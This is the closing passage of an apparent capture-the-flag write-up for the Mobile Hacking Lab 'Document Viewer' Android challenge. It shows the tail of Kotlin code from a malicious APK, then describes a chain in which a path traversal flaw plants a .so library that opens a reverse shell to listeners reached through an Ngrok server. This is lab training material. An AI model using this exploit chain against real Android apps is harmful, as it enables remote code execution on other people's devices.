setDataAndType(Uri.parse(dataUri), mimeType)
}
safelyStartActivity(intent)
}
private fun safelyStartActivity(intent: Intent) {
try {
startActivity(intent)
} catch (e: Exception) {
e.printStackTrace()
}
}
}
data class TargetComponent(val packageName: String, val activityName: String)
Just need to install the APK on the device:
Launching the malicious APK create a request made to Ngrok server that we control:
Confirming the .so
file is in the targeted directory:
Starting both listener on port 8083
and 8084
to receive the connection and then launching the Document Viewer app, we get a shell!
Proof of Concept Video
Thought you might like to see it in action! 😊
Conclusion
The “Document Viewer” challenge amazing. From the app’s architecture with reverse engineering, to crafting a Python script that leveraged the path traversal vulnerability, and then proceeding to create a .so
file to get a reverse shell to finally combine all these steps to build a malicious app that tied together each aspect of our exploit was very rewarding!
A huge shoutout to Mobile Hacking Lab for building such a great challenge. Looking forward to the next one!